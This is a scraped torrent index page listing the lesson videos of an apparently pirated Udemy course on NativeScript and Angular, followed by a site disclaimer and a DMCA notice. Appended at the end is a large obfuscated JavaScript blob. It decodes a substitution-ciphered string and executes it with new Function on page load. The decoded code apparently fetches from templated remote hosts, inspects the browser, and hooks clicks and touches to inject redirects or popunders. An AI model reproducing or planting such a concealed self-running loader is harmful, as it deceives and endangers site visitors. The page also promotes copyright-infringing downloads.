[DesireCourse.Net] Udemy - NativeScript + Angular Build Native iOS, Android & Web Apps

mp4   Hot:1   Size:10.68 GB   Created:2022-06-05 07:04:34   Update:2022-06-05 07:04:34  

File List

  • Lesson 1. Course Introduction.mp4 30.9 MB
    Lesson 10. Single Page Applications (SPAs) in Angular & NativeScript.mp4 8.96 MB
    Lesson 100. Setting Properties Via CSS.mp4 35.01 MB
    Lesson 101. How CSS Works Behind the Scenes.mp4 50.15 MB
    Lesson 102. Using a Theme.mp4 62.1 MB
    Lesson 103. Working with SASS Variables.mp4 67.79 MB
    Lesson 104. Styling the Action Bar.mp4 19.82 MB
    Lesson 105. Preparing the Form Styling.mp4 76.18 MB
    Lesson 106. Centralizing Common Styles.mp4 30.76 MB
    Lesson 107. Styling Today's Challenge.mp4 60.46 MB
    Lesson 108. Working on the Current Challenge.mp4 41.17 MB
    Lesson 109. Adding the Grid to the Current Challenge.mp4 114.15 MB
    Lesson 11. Understanding Components.mp4 4.03 MB
    Lesson 110. Populating the Grid.mp4 82.35 MB
    Lesson 111. Styling the Grid.mp4 66.04 MB
    Lesson 112. Opening the Modal when Tapping a Day.mp4 120.4 MB
    Lesson 113. Fixing the Sidedrawer Button & Adding Icons.mp4 96.12 MB
    Lesson 114. Adding Text Fonts.mp4 23.69 MB
    Lesson 115. Integrating Images.mp4 106.96 MB
    Lesson 116. Adding Icon Images.mp4 108.39 MB
    Lesson 117. Improving the Logout Button Look.mp4 15.83 MB
    Lesson 118. Wrap Up.mp4 16.75 MB
    Lesson 119. Module Introduction.mp4 4.31 MB
    Lesson 12. Installing Angular with the Command Line Interface (CLI).mp4 21.56 MB
    Lesson 120. Configuring Form Inputs.mp4 97.22 MB
    Lesson 121. Adding Form Validation.mp4 50.99 MB
    Lesson 122. Did you Solve your Challenge.mp4 21.75 MB
    Lesson 123. Submitting Form Inputs.mp4 29.55 MB
    Lesson 124. Adding a Login Form.mp4 38.92 MB
    Lesson 125. Setting up the Reactive Form.mp4 79.79 MB
    Lesson 126. Adding Validation & Reading Form Values.mp4 81.23 MB
    Lesson 127. Showing the Validation Text in the Template.mp4 82.5 MB
    Lesson 128. Switching Between Login & Signup.mp4 56.32 MB
    Lesson 129. Wrap Up.mp4 17.41 MB
    Lesson 13. Installing our IDE.mp4 33.92 MB
    Lesson 130. Module Introduction.mp4 8.6 MB
    Lesson 131. Analyzing the Requirements.mp4 16.49 MB
    Lesson 132. Working on the Challenge Service.mp4 35.17 MB
    Lesson 133. Adding the Challenge & Day Models.mp4 92.34 MB
    Lesson 134. Using the Challenge Model.mp4 38.78 MB
    Lesson 135. Using the Challenge Service.mp4 76.41 MB
    Lesson 136. Rendering the Current Challenge.mp4 31 MB
    Lesson 137. Working on the Today Page & State.mp4 70.45 MB
    Lesson 138. Preparing the Update Day Status Logic.mp4 50.42 MB
    Lesson 139. Updating the Day Status for Today.mp4 47.64 MB
    Lesson 14. Understanding the Angular Project Folder Structure.mp4 71.26 MB
    Lesson 140. Reflecting the Day State on the Action Buttons.mp4 81.58 MB
    Lesson 141. Adding Animations.mp4 49.65 MB
    Lesson 142. Controlling the Settable Days.mp4 55.12 MB
    Lesson 143. Setting the Day Status via the Modal.mp4 46.17 MB
    Lesson 144. Reflecting the Current Day's State.mp4 80.5 MB
    Lesson 145. Changing the Cancel Logic in the Modal.mp4 57.74 MB
    Lesson 146. Resetting Today's State Correctly.mp4 16.61 MB
    Lesson 147. Updating an Existing Challenge.mp4 66.4 MB
    Lesson 148. Disabling the Edit Button.mp4 16.76 MB
    Lesson 149. Wrap Up.mp4 15.18 MB
    Lesson 15. The App Component.mp4 57.64 MB
    Lesson 150. Module Introduction.mp4 1.58 MB
    Lesson 151. Setting Up the Firebase Database.mp4 29.78 MB
    Lesson 152. Storing a New Challenge in the Database.mp4 62.02 MB
    Lesson 153. Fetching Data From the Backend.mp4 104.26 MB
    Lesson 154. Displaying the Loaded Data.mp4 30.75 MB
    Lesson 155. Updating Challenges.mp4 34.05 MB
    Lesson 156. Disabling the Failed Button.mp4 39.88 MB
    Lesson 157. Wrap Up.mp4 12.68 MB
    Lesson 158. Module Introduction.mp4 1.33 MB
    Lesson 159. How Authentication Works.mp4 26.7 MB
    Lesson 16. Creating our First Component.mp4 34.64 MB
    Lesson 160. Signing Users Up.mp4 64.28 MB
    Lesson 161. Logging Users In.mp4 63.49 MB
    Lesson 162. Handling Errors & Showing Alerts.mp4 84.16 MB
    Lesson 163. Creating a User Object & Storing the Token.mp4 88.88 MB
    Lesson 164. Managing the User in the Auth Service.mp4 55.64 MB
    Lesson 165. Attaching the Auth Token to Requests.mp4 46 MB
    Lesson 166. Authenticating All Requests.mp4 23.38 MB
    Lesson 167. Adding Logout.mp4 28.89 MB
    Lesson 168. Checking the Authentication State.mp4 28.17 MB
    Lesson 169. Adding Auto Login.mp4 87.82 MB
    Lesson 17. Cross Component Communication with Property Binding.mp4 45.15 MB
    Lesson 170. Adding Auto Logout.mp4 88.23 MB
    Lesson 171. Adding an Authentication Guard.mp4 129.2 MB
    Lesson 172. Fixing the Redirection Path.mp4 11.35 MB
    Lesson 173. Adding Authorization.mp4 101.48 MB
    Lesson 174. Wrap Up.mp4 14.54 MB
    Lesson 175. Module Introduction.mp4 1.27 MB
    Lesson 176. The Publishing Process.mp4 6.52 MB
    Lesson 177. Testing our App on Different Devices.mp4 88.75 MB
    Lesson 178. Adding the App Icon & Splash Screen Icons.mp4 31.92 MB
    Lesson 179. Further Resources.mp4 13.79 MB
    Lesson 18. Understanding Directives & String Interpolation.mp4 32.48 MB
    Lesson 180. Publishing the iOS App.mp4 45.62 MB
    Lesson 181. Publishing the Android App.mp4 90.16 MB
    Lesson 182. Module Introduction.mp4 2.35 MB
    Lesson 183. How Code Sharing Works.mp4 23.21 MB
    Lesson 184. Creating a Shared Project.mp4 36.54 MB
    Lesson 185. Analysing the Project Structure.mp4 31.72 MB
    Lesson 186. Running the Apps.mp4 12.76 MB
    Lesson 187. Adjusting the Auth & App Modules.mp4 87.43 MB
    Lesson 188. Using Helper Services.mp4 74.83 MB
    Lesson 189. Finishing the Auth Component & Adding Styles.mp4 131.05 MB
    Lesson 19. Handling User Input.mp4 35.21 MB
    Lesson 190. Working on the Auth Form Styling.mp4 74.7 MB
    Lesson 191. More Auth.mp4 37.53 MB
    Lesson 192. Adding More Helper Services.mp4 115.32 MB
    Lesson 193. Finishing the Authentication Part.mp4 57.41 MB
    Lesson 194. Starting Work on the Challenges Part.mp4 121.35 MB
    Lesson 195. Working on the Today Page.mp4 112.97 MB
    Lesson 196. Working on the Challenge Edit Component.mp4 85.05 MB
    Lesson 197. Fixing the Challenges Filenames & Imports.mp4 32.11 MB
    Lesson 198. Adding the ActionBar.mp4 73.04 MB
    Lesson 199. Reaching the Challenge Edit Page.mp4 22.71 MB
    Lesson 2. What is NativeScript.mp4 35.96 MB
    Lesson 20. Understanding Event Binding.mp4 17.66 MB
    Lesson 200. Adding the Auth Guard & Auto-Login.mp4 33.38 MB
    Lesson 201. Working on the Current Challenge Page.mp4 111.11 MB
    Lesson 202. Adjusting the Styles.mp4 113.96 MB
    Lesson 203. Resetting the Editing Page Correctly.mp4 31.42 MB
    Lesson 204. Fetching the Current Challenge on Multiple Pages.mp4 67.41 MB
    Lesson 205. Adjusting the Navigation Items.mp4 44.65 MB
    Lesson 206. Navigating Back (Correctly).mp4 59.71 MB
    Lesson 207. Adding a Web Modal.mp4 49.74 MB
    Lesson 208. Adding a Backdrop for the Modal.mp4 31.83 MB
    Lesson 209. Adding Modal Actions & User Interactions.mp4 80 MB
    Lesson 21. Executing Methods with Local References.mp4 14.96 MB
    Lesson 210. Reflecting the Day Status in the Modal.mp4 31.01 MB
    Lesson 211. Populating the Grid Correctly.mp4 34.62 MB
    Lesson 212. Logging Out.mp4 31.38 MB
    Lesson 213. Adding a Loading Indicator.mp4 94.6 MB
    Lesson 214. Finishing the Mobile Apps.mp4 93.92 MB
    Lesson 215. Wrap Up.mp4 16.1 MB
    Lesson 216. Roundup & Next Steps.mp4 21.46 MB
    Lesson 217. Using the Official Resources.mp4 25.4 MB
    Lesson 22. Understanding Two Way Binding.mp4 51.08 MB
    Lesson 23. Passing Data Up With a Custom Event.mp4 36.9 MB
    Lesson 24. Implementing Routing.mp4 66.96 MB
    Lesson 25. Setting Up Services.mp4 29.09 MB
    Lesson 26. Using the Service with Dependency Injection.mp4 25.64 MB
    Lesson 27. Working with Lifecycle Hooks.mp4 35.62 MB
    Lesson 28. Adding a Person with Services.mp4 25.96 MB
    Lesson 29. Navigating Between Components.mp4 14.23 MB
    Lesson 3. Under the Hood of NativeScript.mp4 39.76 MB
    Lesson 30. Removing Items On Click.mp4 26.62 MB
    Lesson 31. Implementing an Active Push Mechanism.mp4 57.59 MB
    Lesson 32. Sending HTTP Requests.mp4 98.88 MB
    Lesson 33. Showing a Placeholder Whilst Waiting for a Response.mp4 18.72 MB
    Lesson 34. Wrap Up.mp4 10.34 MB
    Lesson 35. Setting up NativeScript on macOS.mp4 139.55 MB
    Lesson 36. Setting up NativeScript on Windows.mp4 140.45 MB
    Lesson 37. Using Different Emulator Devices.mp4 48.41 MB
    Lesson 38. Running the App on a Real Device.mp4 36.7 MB
    Lesson 39. What's Up With The Extra .js Files.mp4 11.81 MB
    Lesson 4. What is Angular & Course Requirements.mp4 26.33 MB
    Lesson 40. Module Introduction.mp4 4.22 MB
    Lesson 41. Starting the Emulators.mp4 15.45 MB
    Lesson 42. How Does The App Start.mp4 59.29 MB
    Lesson 43. Understanding Components & Layouts.mp4 56.76 MB
    Lesson 44. Building our First own Component.mp4 51.98 MB
    Lesson 45. Adding Basic Element Interactions.mp4 75.81 MB
    Lesson 46. Understanding the Styling Basics.mp4 52.38 MB
    Lesson 47. Styling a Button.mp4 48.42 MB
    Lesson 48. Understanding Layouts - Theory.mp4 11.89 MB
    Lesson 49. The StackLayout.mp4 70.08 MB
    Lesson 5. Our First NativeScript App!.mp4 74.11 MB
    Lesson 50. The FlexboxLayout.mp4 113.68 MB
    Lesson 51. The GridLayout.mp4 113.38 MB
    Lesson 52. Understanding the AbsoluteLayout.mp4 46.03 MB
    Lesson 53. Implementing the Grid Layout in the Course Project.mp4 48.23 MB
    Lesson 54. Splitting our App Into Components.mp4 68.8 MB
    Lesson 55. Passing Data Between Components.mp4 74.15 MB
    Lesson 56. Creating a List of Items.mp4 38.46 MB
    Lesson 57. Making the List Scrollable.mp4 17.59 MB
    Lesson 58. Using the ListView.mp4 46.14 MB
    Lesson 59. Extracting & Rendering Dynamic Values.mp4 73.56 MB
    Lesson 6. Course Outline.mp4 8.91 MB
    Lesson 60. Debugging our Application.mp4 104.66 MB
    Lesson 61. Wrap Up.mp4 13.41 MB
    Lesson 62. Module Introduction.mp4 2.74 MB
    Lesson 63. Understanding the Different Navigation Options.mp4 14.22 MB
    Lesson 64. Planning the App.mp4 10.85 MB
    Lesson 65. Creating the App Pages.mp4 41.59 MB
    Lesson 66. Adding our First Route.mp4 78.95 MB
    Lesson 67. Implementing Page Navigation.mp4 38.95 MB
    Lesson 68. How to Add Forward & Backward Navigation to our App.mp4 18.7 MB
    Lesson 69. Understanding the Router Object.mp4 25.88 MB
    Lesson 7. How To Get The Most Out Of The Course.mp4 52.33 MB
    Lesson 70. Working with the nsRouterLink Directive.mp4 17.83 MB
    Lesson 71. Adding an Actionbar and a Back Button.mp4 128.89 MB
    Lesson 72. Creating a Shared Component for the Back Button.mp4 52.82 MB
    Lesson 73. Adding Logic to the Back Button.mp4 34.79 MB
    Lesson 74. Overwriting the Default Transition Effect.mp4 38.66 MB
    Lesson 75. Adding the TabView Component.mp4 44.38 MB
    Lesson 76. Displaying Dynamic Routing Content in the Tabs.mp4 107.67 MB
    Lesson 77. Highlighting the Currently Active Tab.mp4 15.79 MB
    Lesson 78. Adding a Sidedrawer.mp4 68.28 MB
    Lesson 79. Adding the Sidedrawer Icon.mp4 39.27 MB
    Lesson 8. Module Introduction.mp4 1.06 MB
    Lesson 80. Rendering the Button on Android Only.mp4 21.96 MB
    Lesson 81. Forwarding the Button is Pressed Info to the App Component.mp4 68.93 MB
    Lesson 82. Displaying the Sidedrawer.mp4 80.42 MB
    Lesson 83. Implementing the Logout Logic.mp4 47.39 MB
    Lesson 84. Passing Around Dynamic Data.mp4 54.51 MB
    Lesson 85. Reading Dynamic Parameters.mp4 80.32 MB
    Lesson 86. Using the Dynamic Parameter.mp4 45.23 MB
    Lesson 87. Injecting Dynamic Values Into the Action Bar on Per Page Level.mp4 70.29 MB
    Lesson 88. Opening a Modal.mp4 98.66 MB
    Lesson 89. Getting Access to the viewContainerRef.mp4 43.81 MB
    Lesson 9. What is Angular.mp4 9.66 MB
    Lesson 90. Passing Data Into the Modal.mp4 71.14 MB
    Lesson 91. Loading Routes Lazily - Theory.mp4 17.16 MB
    Lesson 92. Implementing Lazy Loading.mp4 129.91 MB
    Lesson 93. Loading Additional Modules Lazily.mp4 67.76 MB
    Lesson 94. Adding a Missing Schema.mp4 18.6 MB
    Lesson 95. Wrap Up.mp4 16.85 MB
    Lesson 96. Module Introduction.mp4 3.86 MB
    Lesson 97. CSS in NativeScript - An Overview.mp4 15.7 MB
    Lesson 98. Understanding Platform Specific Inline Styles.mp4 51.37 MB
    Lesson 99. Platform Specific Files.mp4 65.51 MB
    [CourseClub.Me].url 48 B
    [DesireCourse.Net].url 51 B

Download Info

  • Tips

    “[DesireCourse.Net] Udemy - NativeScript + Angular Build Native iOS, Android & Web Apps” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();